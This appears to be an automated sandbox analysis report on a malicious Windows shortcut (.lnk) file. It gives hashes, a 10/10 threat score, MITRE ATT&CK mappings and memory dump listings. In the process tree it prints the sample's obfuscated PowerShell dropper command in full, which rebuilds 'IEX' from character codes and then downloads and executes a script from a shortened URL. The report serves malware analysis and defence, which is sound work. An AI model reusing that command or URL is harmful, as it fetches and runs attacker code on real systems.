6e40f381f829b53ca5cc827578a26d46e45cd181be3b0d25afbd2871ca6fc138

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240220-en
resource tags

arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
submitted
15/05/2024, 05:40

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General

Target

44c168ce26509745482353631b69a718_JaffaCakes118.lnk
Size

2KB
MD5

44c168ce26509745482353631b69a718
SHA1

961d144d6fe698db689933e25918d627bf322f7f
SHA256

6e40f381f829b53ca5cc827578a26d46e45cd181be3b0d25afbd2871ca6fc138
SHA512

28d37ad9c306447cac0446be5f6b65bd4bd6df3c9b204aa30c662e1329c6579cccbaf2ceb49654d7c309cccad3723263aef980f6fe38bd1be7f4229e018350c2

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://bit.do/eUUj6

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	1268	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1268	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1268	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1268	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1992 wrote to memory of 1268	1992	cmd.exe	29
PID 1992 wrote to memory of 1268	1992	cmd.exe	29
PID 1992 wrote to memory of 1268	1992	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\44c168ce26509745482353631b69a718_JaffaCakes118.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Windo 1 $yiw=[string][char[]]@(0x49,0x45,0x78) -replace ' ','';sal s $yiw;$jg=((New-Object Net.WebClient)).DownloadString('http://bit.do/eUUj6');s $jg
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1268

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1268-38-0x000007FEF5EBE000-0x000007FEF5EBF000-memory.dmp

Filesize
4KB

Download
memory/1268-39-0x000000001B5F0000-0x000000001B8D2000-memory.dmp

Filesize
2.9MB

Download
memory/1268-40-0x0000000002280000-0x0000000002288000-memory.dmp

Filesize
32KB

Download
memory/1268-42-0x000007FEF5C00000-0x000007FEF659D000-memory.dmp

Filesize
9.6MB

Download
memory/1268-41-0x000007FEF5C00000-0x000007FEF659D000-memory.dmp

Filesize
9.6MB

Download
memory/1268-43-0x000007FEF5C00000-0x000007FEF659D000-memory.dmp

Filesize
9.6MB

Download
memory/1268-45-0x000007FEF5C00000-0x000007FEF659D000-memory.dmp

Filesize
9.6MB

Download
memory/1268-44-0x000007FEF5C00000-0x000007FEF659D000-memory.dmp

Filesize
9.6MB

Download
memory/1268-46-0x000007FEF5C00000-0x000007FEF659D000-memory.dmp

Filesize
9.6MB

Download
memory/1268-47-0x000007FEF5C00000-0x000007FEF659D000-memory.dmp

Filesize
9.6MB

Download